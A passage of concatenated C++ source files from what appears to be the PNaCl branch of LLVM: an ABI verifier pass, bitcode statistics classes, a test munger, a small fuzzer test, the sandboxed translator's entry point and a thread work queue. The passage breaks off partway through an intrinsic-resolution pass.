if (!isValidScalarOperand(Case.getCaseValue()))
return "bad switch case";
}
// Allow the instruction and skip the later checks.
return NULL;
}
}
if (ApplyDefaultOperandTypeChecks) {
// Check the instruction's operands. We have already checked any
// pointer operands. Any remaining operands must be scalars or vectors.
for (unsigned OpNum = 0, E = Inst->getNumOperands(); OpNum < E; ++OpNum) {
if (OpNum != PtrOperandIndex &&
!(isValidScalarOperand(Inst->getOperand(OpNum)) ||
isValidVectorOperand(Inst->getOperand(OpNum))))
return "bad operand";
}
}
// Check arithmetic attributes.
if (const OverflowingBinaryOperator *Op =
dyn_cast<OverflowingBinaryOperator>(Inst)) {
if (Op->hasNoUnsignedWrap())
return "has \"nuw\" attribute";
if (Op->hasNoSignedWrap())
return "has \"nsw\" attribute";
}
if (const PossiblyExactOperator *Op =
dyn_cast<PossiblyExactOperator>(Inst)) {
if (Op->isExact())
return "has \"exact\" attribute";
}
// Allow the instruction.
return NULL;
}
bool PNaClABIVerifyFunctions::runOnFunction(Function &F) {
const DataLayout *DL = &F.getParent()->getDataLayout();
SmallVector<StringRef, 8> MDNames;
F.getContext().getMDKindNames(MDNames);
for (Function::const_iterator FI = F.begin(), FE = F.end();
FI != FE; ++FI) {
for (BasicBlock::const_iterator BBI = FI->begin(), BBE = FI->end();
BBI != BBE; ++BBI) {
const Instruction *Inst = BBI;
// Check the instruction opcode first. This simplifies testing,
// because some instruction opcodes must be rejected out of hand
// (regardless of the instruction's result type) and the tests
// check the reason for rejection.
const char *Error = checkInstruction(DL, BBI);
// Check the instruction's result type.
bool BadResult = false;
if (!Error && !(PNaClABITypeChecker::isValidScalarType(Inst->getType()) ||
PNaClABITypeChecker::isValidVectorType(Inst->getType()) ||
isNormalizedPtr(Inst) ||
isa<AllocaInst>(Inst))) {
Error = "bad result type";
BadResult = true;
}
if (Error) {
Reporter->addError()
<< "Function " << F.getName() << " disallowed: " << Error << ": "
<< (BadResult ? PNaClABITypeChecker::getTypeName(BBI->getType())
: "") << " " << *BBI << "\n";
}
// Check instruction attachment metadata.
SmallVector<std::pair<unsigned, MDNode*>, 4> MDForInst;
BBI->getAllMetadata(MDForInst);
for (unsigned i = 0, e = MDForInst.size(); i != e; i++) {
if (!PNaClABIProps::isWhitelistedMetadata(MDForInst[i].first)) {
Reporter->addError()
<< "Function " << F.getName()
<< " has disallowed instruction metadata: "
<< getMDNodeString(MDForInst[i].first, MDNames) << "\n";
}
}
}
}
Reporter->checkForFatalErrors();
return false;
}
// This method exists so that the passes can easily be run with opt -analyze.
// In this case the default constructor is used and we want to reset the error
// messages after each print.
void PNaClABIVerifyFunctions::print(llvm::raw_ostream &O, const Module *M)
const {
Reporter->printErrors(O);
Reporter->reset();
}
char PNaClABIVerifyFunctions::ID = 0;
INITIALIZE_PASS(PNaClABIVerifyFunctions, "verify-pnaclabi-functions",
"Verify functions for PNaCl", false, true)
FunctionPass *llvm::createPNaClABIVerifyFunctionsPass(
PNaClABIErrorReporter *Reporter) {
return new PNaClABIVerifyFunctions(Reporter);
}
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClBitcodeSubblockDist.cpp
//===-- NaClBitcodeSubblockDist.cpp ---------------------------------------===//
// implements distribution maps for subblock values within an
// (externally specified) block.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClBitcodeSubblockDist.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeBlockDist.h"
using namespace llvm;
NaClBitcodeSubblockDistElement NaClBitcodeSubblockDist::DefaultSentinal;
NaClBitcodeSubblockDistElement::~NaClBitcodeSubblockDistElement() {}
NaClBitcodeDistElement *NaClBitcodeSubblockDistElement::
CreateElement(NaClBitcodeDistValue Value) const {
return new NaClBitcodeSubblockDistElement();
}
const char *NaClBitcodeSubblockDistElement::GetTitle() const {
return "Subblocks";
}
const char *NaClBitcodeSubblockDistElement::GetValueHeader() const {
return "Subblock";
}
void NaClBitcodeSubblockDistElement::
PrintRowValue(raw_ostream &Stream, NaClBitcodeDistValue Value,
const NaClBitcodeDist *Distribution) const {
Stream << NaClBitcodeBlockDist::GetName(Value);
}
NaClBitcodeSubblockDist::~NaClBitcodeSubblockDist() {}
<file_sep>/lib/Bitcode/NaCl/TestUtils/NaClBitcodeMunge.cpp
//===--- Bitcode/NaCl/TestUtils/NaClBitcodeMunge.cpp - Bitcode Munger -----===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Bitcode writer/munger implementation for testing.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClBitcodeMunge.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeHeader.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeParser.h"
#include "llvm/Bitcode/NaCl/NaClCompress.h"
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/IR/Module.h"
#include "llvm/Support/ErrorHandling.h"
#include "llvm/Support/MemoryBuffer.h"
#include <memory>
using namespace llvm;
// For debugging. When true, shows each test being run.
static bool TraceTestRuns = false;
bool NaClBitcodeMunger::setupTest(const uint64_t Munges[], size_t MungesSize,
bool AddHeader) {
assert(DumpStream == nullptr && "Test run with DumpStream already defined");
assert(MungedInput.get() == nullptr
&& "Test run with MungedInput already defined");
FoundErrors = false;
DumpResults.clear(); // Throw away any previous results.
std::string DumpBuffer;
DumpStream = new raw_string_ostream(DumpResults);
MungedInputBuffer.clear();
if (TraceTestRuns) {
errs() << "*** Run test:\n";
}
MungedBitcode.munge(Munges, MungesSize, RecordTerminator);
WriteFlags.setErrStream(getDumpStream());
NaClMungedBitcode::WriteResults Results =
MungedBitcode.writeMaybeRepair(MungedInputBuffer, AddHeader, WriteFlags);
if (Results.NumErrors != 0
&& !(WriteFlags.getTryToRecover()
&& Results.NumRepairs == Results.NumErrors)
&& !(WriteFlags.getWriteBadAbbrevIndex()
&& Results.WroteBadAbbrevIndex && Results.NumErrors == 1)) {
Error() << "Unable to generate bitcode file due to write errors\n";
return false;
}
// Add null terminator, so that we meet the requirements of the
// MemoryBuffer API.
MungedInputBuffer.push_back('\0');
MungedInput = MemoryBuffer::getMemBuffer(
StringRef(MungedInputBuffer.data(), MungedInputBuffer.size()-1));
return true;
}
bool NaClBitcodeMunger::cleanupTest() {
RunAsDeathTest = false;
WriteFlags.reset();
MungedBitcode.removeEdits();
MungedInput.reset();
assert(DumpStream && "Dump stream removed before cleanup!");
DumpStream->flush();
delete DumpStream;
DumpStream = nullptr;
return !FoundErrors;
}
// Return the next line of input (including eoln), starting from
// Pos. Then increment Pos past the end of that line.
static std::string getLine(const std::string &Input, size_t &Pos) {
std::string Line;
if (Pos >= Input.size()) {
Pos = std::string::npos;
return Line;
}
size_t Eoln = Input.find_first_of("\n", Pos);
if (Eoln != std::string::npos) {
for (size_t i = Pos; i <= Eoln; ++i)
Line.push_back(Input[i]);
Pos = Eoln + 1;
return Line;
}
Pos = std::string::npos;
return Input.substr(Pos);
}
std::string NaClBitcodeMunger::
getLinesWithTextMatch(const std::string &Substring, bool MustBePrefix) const {
std::string Messages;
size_t LastLinePos = 0;
while (1) {
std::string Line = getLine(DumpResults, LastLinePos);
if (LastLinePos == std::string::npos) break;
size_t Pos = Line.find(Substring);
if (Pos != std::string::npos && (!MustBePrefix || Pos == 0)) {
Messages.append(Line);
}
}
return Messages;
}
bool NaClWriteMunger::runTest(const uint64_t Munges[], size_t MungesSize) {
bool AddHeader = true;
if (!setupTest(Munges, MungesSize, AddHeader))
return cleanupTest();
MemoryBufferRef InputRef(MungedInput->getMemBufferRef());
NaClMungedBitcode WrittenBitcode(MemoryBuffer::getMemBuffer(InputRef));
WrittenBitcode.print(WriteFlags.getErrStream());
return cleanupTest();
}
bool NaClObjDumpMunger::runTestWithFlags(
const uint64_t Munges[], size_t MungesSize, bool AddHeader,
bool NoRecords, bool NoAssembly) {
if (!setupTest(Munges, MungesSize, AddHeader))
return cleanupTest();
if (NaClObjDump(MungedInput.get()->getMemBufferRef(),
getDumpStream(), NoRecords, NoAssembly))
FoundErrors = true;
return cleanupTest();
}
bool NaClParseBitcodeMunger::runTest(const uint64_t Munges[], size_t MungesSize,
bool VerboseErrors) {
bool AddHeader = true;
if (!setupTest(Munges, MungesSize, AddHeader))
return cleanupTest();
LLVMContext &Context = getGlobalContext();
ErrorOr<Module *> ModuleOrError =
NaClParseBitcodeFile(MungedInput->getMemBufferRef(), Context,
redirectNaClDiagnosticToStream(getDumpStream()));
if (ModuleOrError) {
if (VerboseErrors)
getDumpStream() << "Successful parse!\n";
delete ModuleOrError.get();
} else {
Error() << ModuleOrError.getError().message() << "\n";
}
return cleanupTest();
}
bool NaClCompressMunger::runTest(const uint64_t Munges[], size_t MungesSize) {
bool AddHeader = true;
if (!setupTest(Munges, MungesSize, AddHeader))
return cleanupTest();
NaClBitcodeCompressor Compressor;
if (!Compressor.compress(MungedInput.get(), getDumpStream()))
Error() << "Unable to compress\n";
return cleanupTest();
}
<file_sep>/lib/Fuzzer/test/dfsan/DFSanSimpleCmpTest.cpp
// Simple test for a fuzzer. The fuzzer must find several narrow ranges.
#include <cstdint>
#include <cstdlib>
#include <cstring>
#include <cstdio>
extern "C" void TestOneInput(const uint8_t *Data, size_t Size) {
if (Size < 14) return;
uint64_t x = 0;
int64_t y = 0;
int z = 0;
unsigned short a = 0;
memcpy(&x, Data, 8);
memcpy(&y, Data + Size - 8, 8);
memcpy(&z, Data + Size / 2, sizeof(z));
memcpy(&a, Data + Size / 2 + 4, sizeof(a));
if (x > 1234567890 &&
x < 1234567895 &&
y >= 987654321 &&
y <= 987654325 &&
z < -10000 &&
z >= -10005 &&
z != -10003 &&
a == 4242) {
fprintf(stderr, "Found the target: size %zd (%zd, %zd, %d, %d), exiting.\n",
Size, x, y, z, a);
exit(1);
}
}
<file_sep>/tools/pnacl-llc/srpc_main.cpp
//===-- srpc_main.cpp - PNaCl sandboxed translator invocation -------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Main entry point and callback handler code for the in-browser sandboxed
// translator. The interface between this code and the browser is through
// the NaCl IRT.
//
//===----------------------------------------------------------------------===//
#if defined(PNACL_BROWSER_TRANSLATOR)
// Headers which are not properly part of the SDK are included by their
// path in the NaCl tree.
#ifdef __pnacl__
#include "native_client/src/untrusted/nacl/pnacl.h"
#endif // __pnacl__
#include "SRPCStreamer.h"
#include "llvm/ADT/STLExtras.h"
#include "llvm/Option/Option.h"
#include "llvm/Support/ErrorHandling.h"
#include <argz.h>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <irt.h>
#include <irt_dev.h>
#include <string>
#include <vector>
using namespace llvm;
using namespace llvm::opt;
// Imported from pnacl-llc.cpp
extern int llc_main(int ArgC, char **ArgV);
namespace {
// The filename used internally for looking up the bitcode file.
const char kBitcodeFilename[] = "pnacl.pexe";
// The filename used internally for looking up the object code file.
const char kObjectFilename[] = "pnacl.o";
// Object which manages streaming bitcode over IPC and threading.
// TODO(jvoung): rename this and other "SRPC" things to not refer to SRPC.
SRPCStreamer *gIPCStreamer;
// FDs of the object file(s).
std::vector<int> gObjectFiles;
DataStreamer *gNaClBitcodeStreamer;
void getIRTInterfaces(nacl_irt_private_pnacl_translator_compile &IRTFuncs) {
size_t QueryResult =
nacl_interface_query(NACL_IRT_PRIVATE_PNACL_TRANSLATOR_COMPILE_v0_1,
&IRTFuncs, sizeof(IRTFuncs));
if (QueryResult != sizeof(IRTFuncs))
llvm::report_fatal_error("Failed to get translator compile IRT interface");
}
int DoTranslate(ArgStringList *CmdLineArgs) {
if (!CmdLineArgs)
return 1;
// Make an ArgV array from the input vector.
size_t ArgC = CmdLineArgs->size();
char **ArgV = new char *[ArgC + 1];
for (size_t i = 0; i < ArgC; ++i) {
// llc_main will not mutate the command line, so this is safe.
ArgV[i] = const_cast<char *>((*CmdLineArgs)[i]);
}
ArgV[ArgC] = nullptr;
// Call main.
return llc_main(static_cast<int>(ArgC), ArgV);
}
void AddFixedArguments(ArgStringList *CmdLineArgs) {
// Add fixed arguments to the command line. These specify the bitcode
// and object code filenames, removing them from the contract with the
// coordinator.
CmdLineArgs->push_back(kBitcodeFilename);
CmdLineArgs->push_back("-o");
CmdLineArgs->push_back(kObjectFilename);
}
bool AddDefaultCPU(ArgStringList *CmdLineArgs) {
#if defined(__pnacl__)
switch (__builtin_nacl_target_arch()) {
case PnaclTargetArchitectureX86_32:
case PnaclTargetArchitectureX86_32_NonSFI: {
CmdLineArgs->push_back("-mcpu=pentium4m");
break;
}
case PnaclTargetArchitectureX86_64: {
CmdLineArgs->push_back("-mcpu=x86-64");
break;
}
case PnaclTargetArchitectureARM_32:
case PnaclTargetArchitectureARM_32_NonSFI: {
CmdLineArgs->push_back("-mcpu=cortex-a9");
break;
}
case PnaclTargetArchitectureMips_32: {
CmdLineArgs->push_back("-mcpu=mips32r2");
break;
}
default:
fprintf(stderr, "no target architecture match.\n");
return false;
}
// Some cases for building this with nacl-gcc or nacl-clang.
#elif defined(__i386__)
CmdLineArgs->push_back("-mcpu=pentium4m");
#elif defined(__x86_64__)
CmdLineArgs->push_back("-mcpu=x86-64");
#elif defined(__arm__)
CmdLineArgs->push_back("-mcpu=cortex-a9");
#else
#error "Unknown architecture"
#endif
return true;
}
bool HasCPUOverride(ArgStringList *CmdLineArgs) {
const char *Mcpu = "-mcpu";
size_t McpuLen = strlen(Mcpu);
for (const char *Arg : *CmdLineArgs) {
if (strncmp(Arg, Mcpu, McpuLen) == 0) {
return true;
}
}
return false;
}
ArgStringList *GetDefaultCommandLine() {
ArgStringList *command_line = new ArgStringList;
// First, those common to all architectures.
static const char *common_args[] = { "pnacl_translator", "-filetype=obj" };
for (size_t i = 0; i < array_lengthof(common_args); ++i) {
command_line->push_back(common_args[i]);
}
// Then those particular to a platform.
static const char *llc_args_x8632[] = {"-mtriple=i686-none-nacl-gnu",
nullptr};
// The -malign-double option is only needed if not all the ABI simplification
// passes have been run on a pexe, for more details see:
// https://code.google.com/p/nativeclient/issues/detail?id=3913
static const char *llc_args_x8632_nonsfi[] = {"-mtriple=i686-linux-gnu",
"-malign-double",
"-mtls-use-call",
nullptr};
static const char *llc_args_x8664[] = {"-mtriple=x86_64-none-nacl-gnu",
nullptr};
static const char *llc_args_arm[] = {"-mtriple=armv7a-none-nacl-gnueabi",
"-mattr=+neon", "-float-abi=hard",
nullptr};
static const char *llc_args_arm_nonsfi[] = {"-mtriple=armv7a-linux-gnueabihf",
"-mtls-use-call",
"-arm-enable-dwarf-eh=1",
nullptr};
static const char *llc_args_mips32[] = {"-mtriple=mipsel-none-nacl-gnu",
nullptr};
const char **llc_args = nullptr;
#if defined(__pnacl__)
switch (__builtin_nacl_target_arch()) {
case PnaclTargetArchitectureX86_32: {
llc_args = llc_args_x8632;
break;
}
case PnaclTargetArchitectureX86_32_NonSFI: {
llc_args = llc_args_x8632_nonsfi;
break;
}
case PnaclTargetArchitectureX86_64: {
llc_args = llc_args_x8664;
break;
}
case PnaclTargetArchitectureARM_32: {
llc_args = llc_args_arm;
break;
}
case PnaclTargetArchitectureARM_32_NonSFI: {
llc_args = llc_args_arm_nonsfi;
break;
}
case PnaclTargetArchitectureMips_32: {
llc_args = llc_args_mips32;
break;
}
default:
fprintf(stderr, "no target architecture match.\n");
delete command_line;
return nullptr;
}
// Some cases for building this with nacl-gcc.
#elif defined(__i386__)
(void)llc_args_x8664;
(void)llc_args_arm;
llc_args = llc_args_x8632;
#elif defined(__x86_64__)
(void)llc_args_x8632;
(void)llc_args_arm;
llc_args = llc_args_x8664;
#elif defined(__arm__)
(void)llc_args_x8632;
(void)llc_args_x8664;
llc_args = llc_args_arm;
#else
#error "Unknown architecture"
#endif
for (size_t i = 0; llc_args[i] != nullptr; i++)
command_line->push_back(llc_args[i]);
return command_line;
}
// Data passed from main thread to compile thread.
// Takes ownership of the commandline vector.
class StreamingThreadData {
public:
StreamingThreadData(int module_count, ArgStringList *cmd_line_vec)
: module_count_(module_count), cmd_line_vec_(cmd_line_vec) {}
ArgStringList *CmdLineVec() const { return cmd_line_vec_.get(); }
int module_count_;
const std::unique_ptr<ArgStringList> cmd_line_vec_;
};
void *run_streamed(void *arg) {
StreamingThreadData *data = reinterpret_cast<StreamingThreadData *>(arg);
data->CmdLineVec()->push_back("-streaming-bitcode");
if (DoTranslate(data->CmdLineVec()) != 0) {
// llc_main only returns 1 (as opposed to calling report_fatal_error)
// in conditions we never expect to see in the browser (e.g. bad
// command-line flags).
gIPCStreamer->setFatalError("llc_main unspecified failure");
return nullptr;
}
delete data;
return nullptr;
}
char *onInitCallback(uint32_t NumThreads, int *ObjFileFDs,
size_t ObjFileFDCount, char **ArgV, size_t ArgC) {
ArgStringList *cmd_line_vec = GetDefaultCommandLine();
if (!cmd_line_vec) {
return "Failed to get default commandline.";
}
AddFixedArguments(cmd_line_vec);
// The IRT should check if this is beyond the max.
if (NumThreads < 1) {
return "Invalid module split count.";
}
gObjectFiles.clear();
for (uint32_t i = 0; i < NumThreads; ++i) {
gObjectFiles.push_back(ObjFileFDs[i]);
}
// Make a copy of the extra commandline arguments.
for (size_t i = 0; i < ArgC; ++i) {
cmd_line_vec->push_back(strdup(ArgV[i]));
}
// Make sure some -mcpu override exists for now to prevent
// auto-cpu feature detection from triggering instructions that
// we do not validate yet.
if (!HasCPUOverride(cmd_line_vec)) {
AddDefaultCPU(cmd_line_vec);
}
gIPCStreamer = new SRPCStreamer();
std::string StrError;
// cmd_line_vec is freed by the translation thread in run_streamed.
StreamingThreadData *thread_data =
new StreamingThreadData(NumThreads, cmd_line_vec);
gNaClBitcodeStreamer = gIPCStreamer->init(
run_streamed, reinterpret_cast<void *>(thread_data), &StrError);
if (gNaClBitcodeStreamer) {
return nullptr;
} else {
return strdup(StrError.c_str());
}
}
int onDataCallback(const void *Data, size_t NumBytes) {
unsigned char *CharData =
reinterpret_cast<unsigned char *>(const_cast<void *>(Data));
return gIPCStreamer->gotChunk(CharData, NumBytes) != NumBytes;
}
char *onEndCallback() {
std::string StrError;
if (gIPCStreamer->streamEnd(&StrError)) {
return strdup(StrError.c_str());
}
return nullptr;
}
const struct nacl_irt_pnacl_compile_funcs gLLCCallbacks = {
&onInitCallback, &onDataCallback, &onEndCallback
};
} // namespace
int getObjectFileFD(unsigned Index) {
assert(Index < gObjectFiles.size());
return gObjectFiles[Index];
}
DataStreamer *getNaClBitcodeStreamer() { return gNaClBitcodeStreamer; }
// Called from the compilation thread
void FatalErrorHandler(void *user_data, const std::string& reason,
bool gen_crash_diag) {
gIPCStreamer->setFatalError(reason);
}
fatal_error_handler_t getSRPCErrorHandler() { return FatalErrorHandler; }
int srpc_main(int ArgC, char **ArgV) {
struct nacl_irt_private_pnacl_translator_compile IRTFuncs;
getIRTInterfaces(IRTFuncs);
IRTFuncs.serve_translate_request(&gLLCCallbacks);
return 0;
}
#endif // PNACL_BROWSER_TRANSLATOR
<file_sep>/tools/pnacl-llc/ThreadedFunctionQueue.h
//===- ThreadedFunctionQueue.h - Function work units for threads -*- C++ -*-==//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef THREADEDFUNCTIONQUEUE_H
#define THREADEDFUNCTIONQUEUE_H
#include <limits>
#include "llvm/IR/Module.h"
#include "llvm/Support/ErrorHandling.h"
namespace llvm {
// A "queue" that keeps track of which functions have been assigned to
// threads and which functions have not yet been assigned. It does not
// actually use a queue data structure and instead uses a number which
// tracks the minimum unassigned function ID, expecting each thread
// to have the same view of function IDs.
class ThreadedFunctionQueue {
public:
ThreadedFunctionQueue(Module *mod, unsigned NumThreads)
: NumThreads(NumThreads),
NumFunctions(0),
CurrentFunction(0) {
assert(NumThreads > 0);
size_t Size = 0;
for (Module::iterator I = mod->begin(), E = mod->end(); I != E; ++I) {
// Only count functions with bodies. At this point nothing should
// be "already materialized", so if functions with bodies are
// materializable.
if (I->isMaterializable() || !I->isDeclaration())
Size++;
}
if (Size > static_cast<size_t>(std::numeric_limits<int>::max()))
report_fatal_error("Too many functions");
NumFunctions = Size;
}
~ThreadedFunctionQueue() {}
// Assign functions in a static manner between threads.
bool GrabFunctionStatic(unsigned FuncIndex, unsigned ThreadIndex) const {
// Note: This assumes NumThreads == SplitModuleCount, so that
// (a) every function of every module is covered by the NumThreads and
// (b) no function is covered twice by the threads.
assert(ThreadIndex < NumThreads);
return FuncIndex % NumThreads == ThreadIndex;
}
// Assign functions between threads dynamically.
// Returns true if FuncIndex is unassigned and the calling thread
// is assigned functions [FuncIndex, FuncIndex + ChunkSize).
// Returns false if the calling thread is not assigned functions
// [FuncIndex, FuncIndex + ChunkSize).
//
// NextIndex will be set to the next unassigned function ID, so that
// the calling thread will know which function ID to attempt to grab
// next. Each thread may have a different value for the ideal ChunkSize
// so it is hard to predict the next available function solely based
// on incrementing by ChunkSize.
bool GrabFunctionDynamic(unsigned FuncIndex, unsigned ChunkSize,
unsigned &NextIndex) {
unsigned Cur = CurrentFunction;
if (FuncIndex < Cur) {
NextIndex = Cur;
return false;
}
NextIndex = Cur + ChunkSize;
unsigned Index;
if (Cur == (Index = __sync_val_compare_and_swap(&CurrentFunction,
Cur, NextIndex))) {
return true;
}
// If this thread did not grab the function, its idea of NextIndex
// may be incorrect since ChunkSize can vary between threads.
// Reset NextIndex in that case.
NextIndex = Index;
return false;
}
// Returns a recommended ChunkSize for use in calling GrabFunctionDynamic().
// ChunkSize starts out "large" to reduce synchronization cost. However,
// it cannot be too large, otherwise it will encompass too many bytes
// and defeats streaming translation. Assigning too many functions to
// a single thread also throws off load balancing, so the ChunkSize is
// reduced when the remaining number of functions is low so that
// load balancing can be achieved near the end.
unsigned RecommendedChunkSize() const {
int RemainingFuncs = NumFunctions - CurrentFunction;
int DynamicChunkSize = RemainingFuncs / (NumThreads * 4);
return std::max(1, std::min(8, DynamicChunkSize));
}
// Total number of functions with bodies that should be processed.
unsigned Size() const {
return NumFunctions;
}
private:
const unsigned NumThreads;
unsigned NumFunctions;
volatile unsigned CurrentFunction;
ThreadedFunctionQueue(
const ThreadedFunctionQueue&) = delete;
void operator=(const ThreadedFunctionQueue&) = delete;
};
} // end namespace llvm
#endif
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClBitcodeBitsAndAbbrevsDist.cpp
//===- NaClBitcodeBitsAndAbbrevsDist.cpp ------------------*- C++ -*-===//
// Implements distributions of values with the corresponding
// number of bits and percentage of abbreviations used in PNaCl
// bitcode records.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClBitcodeBitsAndAbbrevsDist.h"
using namespace llvm;
NaClBitcodeBitsAndAbbrevsDistElement::~NaClBitcodeBitsAndAbbrevsDistElement() {}
void NaClBitcodeBitsAndAbbrevsDistElement::
AddRecord(const NaClBitcodeRecord &Record) {
NaClBitcodeBitsDistElement::AddRecord(Record);
if (Record.UsedAnAbbreviation()) {
++NumAbbrevs;
}
}
void NaClBitcodeBitsAndAbbrevsDistElement::
PrintStatsHeader(raw_ostream &Stream) const {
NaClBitcodeBitsDistElement::PrintStatsHeader(Stream);
Stream << " % Abv";
}
void NaClBitcodeBitsAndAbbrevsDistElement::
PrintRowStats(raw_ostream &Stream,
const NaClBitcodeDist *Distribution) const {
NaClBitcodeBitsDistElement::PrintRowStats(Stream, Distribution);
if (GetNumAbbrevs())
Stream << format(" %7.2f",
(double) GetNumAbbrevs()/GetNumInstances()*100.0);
else
Stream << " ";
}
<file_sep>/lib/Transforms/NaCl/ResolvePNaClIntrinsics.cpp
//===- ResolvePNaClIntrinsics.cpp - Resolve calls to PNaCl intrinsics ----====//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass resolves calls to PNaCl stable bitcode intrinsics. It is
// normally run in the PNaCl translator.
//
// Running AddPNaClExternalDeclsPass is a precondition for running this
// pass. They are separate because one is a ModulePass and the other is
// a FunctionPass.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/SmallVector.h"
#include "llvm/ADT/Triple.h"
#include "llvm/IR/Constant.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/InlineAsm.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/Intrinsics.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/NaClAtomicIntrinsics.h"
#include "llvm/IR/Value.h"
#include "llvm/Pass.h"
#include "llvm/Support/Compiler.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/NaCl.h"
#include "llvm/Transforms/Utils/Local.h"
#if defined(PNACL_BROWSER_TRANSLATOR)
#include "native_client/src/untrusted/nacl/pnacl.h"
#endif
using namespace llvm;
namespace {
class ResolvePNaClIntrinsics : public FunctionPass {
public:
ResolvePNaClIntrinsics() : FunctionPass(ID) {
initializeResolvePNaClIntrinsicsPass(*PassRegistry::getPassRegistry());
}
static char ID;
bool runOnFunction(Function &F) override;
/// Interface specifying how intrinsic calls should be resolved. Each
/// intrinsic call handled by the implementor will be visited by the
/// doResolve method.
class CallResolver {
public:
/// Called once per \p Call to the intrinsic in the module.
/// Returns true if the Function was changed.
bool resolve(IntrinsicInst *Call) {
// To be a well-behaving FunctionPass, don't touch uses in other
// functions. These will be handled when the pass manager gets to
// those functions.
if (Call->getParent()->getParent() == &F)
return doResolve(Call);
return false;
}
Function *getDeclaration() const { return doGetDeclaration(); }
std::string getName() { return Intrinsic::getName(IntrinsicID); }
protected:
Function &F;
Module *M;
Intrinsic::ID IntrinsicID;
CallResolver(Function &F, Intrinsic::ID IntrinsicID)
: F(F), M(F.getParent()), IntrinsicID(IntrinsicID) {}
virtual ~CallResolver() {}
/// The following pure virtual methods must be defined by
/// implementors, and will be called once per intrinsic call.
/// NOTE: doGetDeclaration() should only "get" the intrinsic declaration
/// and not *add* decls to the module. Declarations should be added
/// up front by the AddPNaClExternalDecls module pass.
virtual Function *doGetDeclaration() const = 0;
/// Returns true if the Function was changed.
virtual bool doResolve(IntrinsicInst *Call) = 0;
private:
CallResolver(const CallResolver &) = delete;
CallResolver &operator=(const CallResolver &) = delete;
};
private:
/// Visit all calls matching the \p Resolver's declaration, and invoke
/// the CallResolver methods on each of them.
bool visitCalls(CallResolver &Resolver);
};
/// Rewrite intrinsic calls to another function.
class IntrinsicCallToFunctionCall :
public ResolvePNaClIntrinsics::CallResolver {
public:
IntrinsicCallToFunctionCall(Function &F, Intrinsic::ID IntrinsicID,
const char *TargetFunctionName)
: CallResolver(F, IntrinsicID),
TargetFunction(M->getFunction(TargetFunctionName)) {
// Expect to find the target function for this intrinsic already
// declared, even if it is never used.
if (!TargetFunction)
report_fatal_error(std::string(
"Expected to find external declaration of ") + TargetFunctionName);
}
~IntrinsicCallToFunctionCall() override {}
private:
Function *TargetFunction;
Function *doGetDeclaration() const override {
return Intrinsic::getDeclaration(M, IntrinsicID);
}
bool doResolve(IntrinsicInst *Call) override {
Call->setCalledFunction(TargetFunction);
if (IntrinsicID == Intrinsic::nacl_setjmp) {
// The "returns_twice" attribute is required for correctness,
// otherwise the backend will reuse stack slots in a way that is
// incorrect for setjmp(). See:
// https://code.google.com/p/nativeclient/issues/detail?id=3733
Call->setCanReturnTwice();
}
return true;
}
IntrinsicCallToFunctionCall(const IntrinsicCallToFunctionCall &) = delete;
IntrinsicCallToFunctionCall &
operator=(const IntrinsicCallToFunctionCall &) = delete;
};
/// Rewrite intrinsic calls to a constant whose value is determined by a
/// functor. This functor is called once per Call, and returns a
/// Constant that should replace the Call.
template <class Callable>
class ConstantCallResolver : public ResolvePNaClIntrinsics::CallResolver {
public:
ConstantCallResolver(Function &F, Intrinsic::ID IntrinsicID,
Callable Functor)
: CallResolver(F, IntrinsicID), Functor(Functor) {}
~ConstantCallResolver() override {}
private:
Callable Functor;
Function *doGetDeclaration() const override {
return Intrinsic::getDeclaration(M, IntrinsicID);
}
bool doResolve(IntrinsicInst *Call) override {
Constant *C = Functor(Call);
Call->replaceAllUsesWith(C);
Call->eraseFromParent();
return true;
}
ConstantCallResolver(const ConstantCallResolver &) = delete;
ConstantCallResolver &operator=(const ConstantCallResolver &) = delete;
};
/// Resolve __nacl_atomic_is_lock_free to true/false at translation / time.
//PNaCl's currently supported platforms all support lock-free atomics at / byte
//sizes {1,2,4,8} except for MIPS architecture that supports / lock-free atomics
//at byte sizes {1,2,4}, and the alignment of the pointer is / always expected
//to be natural (as guaranteed by C11 and C++11). PNaCl's / Module-level ABI
//verification checks that the byte size is constant and in / {1,2,4,8}.
struct IsLockFreeToConstant {
Constant *operator()(CallInst *Call) {
uint64_t MaxLockFreeByteSize = 8;
const APInt &ByteSize =
cast<Constant>(Call->getOperand(0))->getUniqueInteger();
# if defined(PNACL_BROWSER_TRANSLATOR)
switch (__builtin_nacl_target_arch()) {
case PnaclTargetArchitectureX86_32:
case PnaclTargetArchitectureX86_64:
case PnaclTargetArchitectureARM_32:
break;
case PnaclTargetArchitectureMips_32:
MaxLockFreeByteSize = 4;
break;
default:
errs() << "Architecture: " << Triple::getArchTypeName(Arch) << "\n";
